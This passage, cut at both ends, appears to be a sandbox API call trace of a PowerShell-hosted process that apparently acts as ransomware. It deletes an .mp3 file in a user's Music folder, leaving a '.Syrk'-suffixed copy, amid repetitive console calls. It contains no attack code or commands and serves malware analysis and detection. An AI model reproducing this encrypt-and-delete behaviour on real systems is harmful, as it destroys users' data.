"c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq")) returned 0x10 [0241.940] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0241.940] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ", nBufferLength=0x3d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ", lpFilePart=0x0) returned 0x3c [0241.940] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\-hsxlhpse2gpg.mp3")) returned 0x20 [0241.941] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0241.941] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3", lpFilePart=0x0) returned 0x4e [0241.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0241.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3", lpFilePart=0x0) returned 0x4e [0241.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0241.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0241.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3", lpFilePart=0x0) returned 0x4e [0241.944] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3\\*" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\-hsxlhpse2gpg.mp3\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0241.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0241.945] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0241.945] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0241.945] CoTaskMemFree (pv=0x5c98368) [0241.948] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\-hsxlhpse2gpg.mp3")) returned 0x20 [0241.949] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0241.949] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3", lpFilePart=0x0) returned 0x4e [0241.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0241.949] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\-hsxlhpse2gpg.mp3"), fInfoLevelId=0x0, lpFileInformation=0x2436804 | out: lpFileInformation=0x2436804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3040d300, ftCreationTime.dwHighDateTime=0x1d99613, ftLastAccessTime.dwLowDateTime=0xea46d800, ftLastAccessTime.dwHighDateTime=0x1d996a2, ftLastWriteTime.dwLowDateTime=0xea46d800, ftLastWriteTime.dwHighDateTime=0x1d996a2, nFileSizeHigh=0x0, nFileSizeLow=0x12022)) returned 1 [0241.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0241.949] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\-hsxlhpse2gpg.mp3")) returned 1 [0241.952] EtwEventActivityIdControl () returned 0x0 [0241.952] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0241.952] EtwEventActivityIdControl () returned 0x0 [0241.952] EtwEventActivityIdControl () returned 0x0 [0241.952] EtwEventActivityIdControl () returned 0x0 [0241.961] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\-hsxlhpse2gpg.mp3.syrk")) returned 0x20 [0241.963] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\-hsxlhpse2gpg.mp3.syrk")) returned 0x20 [0241.963] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0241.963] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3.Syrk", nBufferLength=0x54, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3.Syrk", lpFilePart=0x0) returned 0x53 [0241.964] EtwEventActivityIdControl () returned 0x0 [0241.965] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0241.965] EtwEventActivityIdControl () returned 0x0 [0241.965] EtwEventActivityIdControl () returned 0x0 [0241.965] EtwEventActivityIdControl () returned 0x0 [0241.973] EtwEventActivityIdControl () returned 0x0 [0241.973] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0241.973] EtwEventActivityIdControl () returned 0x0 [0241.973] EtwEventActivityIdControl () returned 0x0 [0241.973] EtwEventActivityIdControl () returned 0x0 [0241.978] EtwEventActivityIdControl () returned 0x0 [0241.978] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0241.978] EtwEventActivityIdControl () returned 0x0 [0241.978] EtwEventActivityIdControl () returned 0x0 [0241.978] EtwEventActivityIdControl () returned 0x0 [0241.982] EtwEventActivityIdControl () returned 0x0 [0241.982] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0241.983] EtwEventActivityIdControl () returned 0x0 [0241.983] EtwEventActivityIdControl () returned 0x0 [0241.983] EtwEventActivityIdControl () returned 0x0 [0241.986] EtwEventActivityIdControl () returned 0x0 [0241.987] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0241.987] EtwEventActivityIdControl () returned 0x0 [0241.987] EtwEventActivityIdControl () returned 0x0 [0241.987] EtwEventActivityIdControl () returned 0x0 [0241.991] EtwEventActivityIdControl () returned 0x0 [0241.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0241.999] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\-hsXLHPSE2Gpg.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\-hsxlhpse2gpg.mp3.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24451f8 | out: lpFileInformation=0x24451f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9740fe0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x9740fe0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xbe7d6d0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x12044)) returned 1 [0241.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0242.001] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e59c | out: lpConsoleScreenBufferInfo=0x5a2e59c) returned 1 [0242.002] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e594 | out: lpMode=0x5a2e594) returned 1 [0242.003] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e588, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e588*=0x2) returned 1 [0242.005] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e540 | out: lpConsoleScreenBufferInfo=0x5a2e540) returned 1 [0242.005] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0242.006] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0242.006] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0242.007] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e5a4 | out: lpConsoleScreenBufferInfo=0x5a2e5a4) returned 1 [0242.007] GetConsoleOutputCP () returned 0x1b5 [0242.007] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e314, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e314) returned 0 [0242.007] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e3f4 | out: lpConsoleScreenBufferInfo=0x5a2e3f4) returned 1 [0242.008] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0242.015] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x245f8f4*, nNumberOfCharsToWrite=0x4b, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x245f8f4*, lpNumberOfCharsWritten=0x5a2e3e0*=0x4b) returned 1 [0242.016] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0242.016] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e3e0*=0x2) returned 1 [0242.019] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4fc | out: lpConsoleScreenBufferInfo=0x5a2e4fc) returned 1 [0242.019] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4f4 | out: lpMode=0x5a2e4f4) returned 1 [0242.019] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e8*=0x2) returned 1 [0242.020] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0242.020] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0242.021] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0242.021] GetConsoleOutputCP () returned 0x1b5 [0242.022] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0242.022] GetConsoleOutputCP () returned 0x1b5 [0242.022] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0242.022] GetConsoleOutputCP () returned 0x1b5 [0242.022] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0242.022] GetConsoleOutputCP () returned 0x1b5 [0242.022] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0242.022] GetConsoleOutputCP () returned 0x1b5 [0242.023] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0242.023] GetConsoleOutputCP () returned 0x1b5 [0242.023] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0242.023] GetConsoleOutputCP () returned 0x1b5 [0242.023] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0242.023] GetConsoleOutputCP () returned 0x1b5 [0242.023] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0242.023] GetConsoleOutputCP () returned 0x1b5 [0242.036] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0242.037] GetConsoleOutputCP () returned 0x1b5 [0242.037] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0242.037] GetConsoleOutputCP () returned 0x1b5 [0242.037] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0242.037] GetConsoleOutputCP () returned 0x1b5 [0242.038] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0242.038] GetConsoleOutputCP () returned 0x1b5 [0242.038] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0242.038] GetConsoleOutputCP () returned 0x1b5 [0242.038] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0242.038] GetConsoleOutputCP () returned 0x1b5 [0242.038] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0242.038] GetConsoleOutputCP () returned 0x1b5 [0242.039] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0242.039] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0242.039] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0242.039] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2460290*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x2460290*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0242.040] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0242.040] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0242.041] GetConsoleOutputCP () returned 0x1b5 [0242.041] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0242.041] GetConsoleOutputCP () returned 0x1b5 [0242.041] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0242.041] GetConsoleOutputCP () returned 0x1b5 [0242.042] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0242.042] GetConsoleOutputCP () returned 0x1b5 [0242.042] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0242.042] GetConsoleOutputCP () returned 0x1b5 [0242.042] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0242.042] GetConsoleOutputCP () returned 0x1b5 [0242.042] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0242.042] GetConsoleOutputCP () returned 0x1b5 [0242.043] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0242.043] GetConsoleOutputCP () returned 0x1b5 [0242.043] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0242.043] GetConsoleOutputCP () returned 0x1b5 [0242.043] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0242.043] GetConsoleOutputCP () returned 0x1b5 [0242.043] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0242.043] GetConsoleOutputCP () returned 0x1b5 [0242.044] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0242.044] GetConsoleOutputCP () returned 0x1b5 [0242.044] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0242.044] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0242.044] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0242.045] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2460738*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x2460738*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0242.045] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0242.045] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0242.046] GetConsoleOutputCP () returned 0x1b5 [0242.046] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0242.046] GetConsoleOutputCP () returned 0x1b5 [0242.046] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0242.046] GetConsoleOutputCP () returned 0x1b5 [0242.047] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.047] GetConsoleOutputCP () returned 0x1b5 [0242.047] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.047] GetConsoleOutputCP () returned 0x1b5 [0242.047] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0242.047] GetConsoleOutputCP () returned 0x1b5 [0242.047] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0242.047] GetConsoleOutputCP () returned 0x1b5 [0242.048] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.048] GetConsoleOutputCP () returned 0x1b5 [0242.048] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.048] GetConsoleOutputCP () returned 0x1b5 [0242.048] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0242.048] GetConsoleOutputCP () returned 0x1b5 [0242.049] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0242.049] GetConsoleOutputCP () returned 0x1b5 [0242.049] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.049] GetConsoleOutputCP () returned 0x1b5 [0242.049] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.049] GetConsoleOutputCP () returned 0x1b5 [0242.049] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0242.049] GetConsoleOutputCP () returned 0x1b5 [0242.050] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0242.050] GetConsoleOutputCP () returned 0x1b5 [0242.050] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.050] GetConsoleOutputCP () returned 0x1b5 [0242.050] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.050] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0242.051] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0242.051] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2461130*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2461130*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0242.051] GetConsoleMode (in: 